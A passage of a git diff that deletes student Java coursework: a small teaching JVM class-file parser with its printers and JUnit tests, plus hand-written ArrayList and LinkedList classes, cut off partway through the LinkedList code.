-		int fieldsCount = iter.nextU2ToInt();
-		for(int i=0;i<fieldsCount;i++) {
-			fields.add(Field.parse(pool, iter));
-		}
-		return fields;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
-		return accessFlag;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-		ClassIndex classIndex = new ClassIndex();
-		classIndex.setThisClassIndex(iter.nextU2ToInt());
-		classIndex.setSuperClassIndex(iter.nextU2ToInt());
-		return classIndex;
-
-	}
-
-	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-		ConstantPool pool = new ConstantPool();
-		pool.addConstantInfo(new NullConstantInfo());
-		int length = iter.nextU2ToInt();
-		int type;
-		for(int i=1;i<length;i++){
-			type = iter.nextU1ToInt();
-			switch(type){
-			case 7:
-				ClassInfo classInfo = new ClassInfo(pool);
-				classInfo.setUtf8Index(iter.nextU2ToInt());
-				pool.addConstantInfo(classInfo);
-				break;
-			case 1:
-				UTF8Info utf8Info = new UTF8Info(pool);
-				utf8Info.setLength(iter.nextU2ToInt());
-				utf8Info.setValue(iter.nextUxToString(utf8Info.getLength()));
-				pool.addConstantInfo(utf8Info);
-				break;
-			case 8:
-				StringInfo stringInfo = new StringInfo(pool);
-				stringInfo.setIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(stringInfo);
-				break;
-			case 9:
-				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
-				fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
-				fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(fieldRefInfo);
-				break;
-			case 10:
-				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
-				methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
-				methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
-				pool.addConstantInfo(methodRefInfo);
-				break;	
-			case 12:
-				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-				nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
-				nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
-				pool.addConstantInfo(nameAndTypeInfo);
-				break;
-			default:
-				System.out.println("常量池类型" + type + "还没实现");
-				break;
-			}
-		}
-		return pool;
-	}
-	
-	private void parseInterfaces(ByteCodeIterator iter) {
-		int interfaceCount = iter.nextU2ToInt();
-
-		System.out.println("interfaceCount:" + interfaceCount);
-
-		// TODO : 如果实现了interface, 这里需要解析
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
deleted file mode 100644
index 3b47188bbf..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
+++ /dev/null
@@ -1,84 +0,0 @@
-package com.coderising.jvm.method;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.CodeAttr;
-import com.coderising.jvm.attr.LineNumberTable;
-import com.coderising.jvm.attr.LocalVariableTable;
-import com.coderising.jvm.attr.StackMapTable;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-
-public class Method {
-	
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	private CodeAttr codeAttr;
-	
-	private ClassFile clzFile;
-	
-	public int getAccessFlag() {
-		return accessFlag;
-	}
-	
-	public ClassFile getClzFile() {
-		return clzFile;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-	
-	public CodeAttr getCodeAttr() {
-		return codeAttr;
-	}
-
-	public void setCodeAttr(CodeAttr code) {
-		this.codeAttr = code;
-	}
-
-	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
-		this.clzFile = clzFile;
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-	}
-
-	
-	
-	
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		int accessFlag = iter.nextU2ToInt();
-		int nameIndex = iter.nextU2ToInt();
-		int descriptorIndex = iter.nextU2ToInt();
-		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-		int attrCount = iter.nextU2ToInt();
-		ConstantPool pool = clzFile.getConstantPool();
-		for (int i = 1; i <= attrCount; i++) {
-			int attrNameIndex = iter.nextU2ToInt();
-			String attrName = pool.getUTF8String(attrNameIndex);
-			iter.back(2);
-			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
-				method.setCodeAttr(CodeAttr.parse(clzFile, iter));
-			}else {
-				//TODO
-				throw new RuntimeException("Method.parse not implement " + attrName);
-			}
-		}
-		return method;
-		
-	}
-
-	public ByteCodeCommand[] getCmds() {
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index f4f8ef8c58..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 2e84c4b2f1..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,77 +0,0 @@
-package com.coderising.jvm.print;
-
-import java.util.concurrent.SynchronousQueue;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
-			
-			@Override
-			public void visitUTF8Info(UTF8Info utf8Info) {
-				System.out.println("UTF8           " + utf8Info.getValue());
-			}
-			
-			@Override
-			public void visitStringInfo(StringInfo stringInfo) {
-				System.out.println("String         " + stringInfo.toString());
-			}
-			
-			@Override
-			public void visitNullConstantInfo(NullConstantInfo nullConstantInfo) {
-				
-			}
-			
-			@Override
-			public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
-				System.out.println("NameAndType    " + nameAndTypeInfo.getIndex1() + ":" + nameAndTypeInfo.getIndex2()
-						+ "    // " + nameAndTypeInfo.getName() + ":" + nameAndTypeInfo.getTypeInfo());
-			}
-			
-			@Override
-			public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
-				System.out.println("Methodref      " + methodRefInfo.getClassInfoIndex() + "." 
-						+ methodRefInfo.getNameAndTypeIndex() + "    // "
-						+ methodRefInfo.getClassName() + "." + methodRefInfo.getMethodName()
-						+ ":" + methodRefInfo.getParamAndReturnType());
-			}
-			
-			@Override
-			public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
-				System.out.println("Fieldref       " + fieldRefInfo.getClassInfoIndex() + "."
-						+ fieldRefInfo.getNameAndTypeIndex() + "    // "
-						+ fieldRefInfo.getClassName() + "." + fieldRefInfo.getFieldName() + ":"
-						+ fieldRefInfo.getFieldType());
-			}
-			
-			@Override
-			public void visitClassInfo(ClassInfo classInfo) {
-				System.out.println("Class          " + classInfo.getUtf8Index() + "    // " + classInfo.getClassName());
-			}
-		};
-		
-		for(int i=1;i<this.pool.getSize();i++){
-			if(i < 10){
-				System.out.print(" ");
-			}
-			System.out.print("  #" + i + " = ");
-			this.pool.getConstantInfo(i).accept(visitor);
-		}
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 0d5f2b1685..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,353 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
-	static String path2 = "/tmp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
deleted file mode 100644
index 2567132d2a..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayList.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.skomefen.list;
-
-public class ArrayList implements List {
-
-	
-	private int size = 0;
-		
-	private Object[] elementData = new Object[100];
-	
-	private Iterator iterator ;
-	
-	public void add(Object o){
-		
-		if(size<elementData.length){
-			elementData[size]=o;
-			size++;
-			return;
-		}
-		Object[] dest = new Object[size+100];
-		insertofArray(size, o, dest);
-		size++;
-	}
-	public void add(int index, Object o){
-		
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		if(size<elementData.length){
-			Object[] dest = new Object[elementData.length];
-			insertofArray(index, o, dest);
-			size++;
-			return;
-		}
-		Object[] dest = new Object[size+100];
-		insertofArray(index, o, dest);
-		size++;
-	}
-	private void insertofArray(int index, Object o, Object[] dest) {
-		dest[index]=o;
-		System.arraycopy(elementData, 0, dest, 0, index);
-		if((elementData.length-index)!=0){	
-			System.arraycopy(elementData, index, dest, index+1, elementData.length-1-index);
-			if(elementData[elementData.length-1]!=null){
-				dest[elementData.length]=elementData[elementData.length-1];
-			}
-		}
-		
-		elementData = dest;
-	}
-	
-	public Object get(int index){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		return elementData[index];
-		
-	}
-	
-	public Object remove(int index){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}	
-		Object revalue = elementData[index];
-		Object[] dest = new Object[elementData.length];
-		System.arraycopy(elementData, 0, dest, 0, index);
-		System.arraycopy(elementData, index+1, dest, index, elementData.length-1-index);
-		elementData = dest;
-		size--;
-		return revalue;
-	}
-	
-	public int size(){
-		return size;
-	}
-	
-	public Iterator iterator(){
-		iterator = new ArrayListIterator(this);
-		return iterator;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
deleted file mode 100644
index 345d620c0e..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/ArrayListIterator.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.skomefen.list;
-
-public class ArrayListIterator implements Iterator {
-	private ArrayList array = null;
-	private int index = 0;
-	public ArrayListIterator(ArrayList array) {
-		this.array = array;
-	}
-	public boolean hasNext() {
-		if(array==null){
-			return false;
-		}
-		if(index<array.size()){
-			return true;
-		}
-		return false;
-	}
-
-	public Object next() {
-	
-		return array.get(index++);
-		
-	}
-
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
deleted file mode 100644
index e05e0bdef0..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.skomefen.list;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
deleted file mode 100644
index cec536e3b5..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.skomefen.list;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java b/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
deleted file mode 100644
index f54d896e20..0000000000
--- a/group23/1072760797-skomefen/day3-11/src/com/skomefen/list/LinkedList.java
+++ /dev/null
@@ -1,252 +0,0 @@
-package com.skomefen.list;
-
-
-public class LinkedList implements List {
-	private int size = 0;
-	private Node head;
-	private Node node;
-	private int point = 0;
-	private LinkedListiterator iterator;
-
-	public void add(Object o){
-		insertoflist(size, o);
-	}
-	
-	public void add(int index , Object o){
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		insertoflist(index, o);
-		
-		
-	}
-	public Object get(int index){
-		if(index>=size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		if(head==null){
-			return null;
-		}
-		if(index==point){
-			return node.data;
-		}
-		this.point=0;
-		node = head;
-		while(index>=this.point){
-			
-			if(index==point){
-				return node.data;
-			}
-			point++;
-			node = node.next;
-		}
-		return null;
-	}
-	public Object remove(int index){
-		if(index>=size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		size--;
-		if(index==(this.point+1)){
-			Object o =node.next.data;
-			node.next = node.next.next;
-			return o;
-		}
-		this.point = 0;
-		if(index==0){
-			head = head.next;
-			Object o =head.data;
-			node = head;
-			return o;
-		}
-		
-		Object o = null;
-		while(index<=(this.point+1)){
-			if(index==(this.point+1)){
-				o =node.next.data;
-				node.next = node.next.next;
-				
-			}
-			point++;
-			node = node.next;
-		}
-		return o;
-	}
-	
-	public int size(){
-		
-		return size;
-	}
-	
-	public void addFirst(Object o){
-		add(0,o);
-	}
-	public void addLast(Object o){
-		add(size,o);
-	}
-	public Object removeFirst(){
-		if(head==null){
-			return null;
-		}
-		remove(0);
-		return null;
-	}
-	public Object removeLast(){
-		if(head==null){
-			return null;
-		}
-		remove(size-1);
-		return null;
-	}
-	public Iterator iterator(){
-		iterator = new LinkedListiterator(this);
-		return iterator;	
-	}
-	
-	
-	private static  class Node{
-		private Object data;
-		private Node next;
-		
-		
-	}
-	
-	private void insertoflist(int index,Object o){
-		
-		if(index>size||index<0){
-			throw new IndexOutOfBoundsException("index:"+index+"size:"+size);
-		}
-		
-		if(head==null){
-			head = new Node();
-			head.data=o;
-			head.next=new Node();
-			size++;
-			node = head;
-			this.point = 0;
-			return;
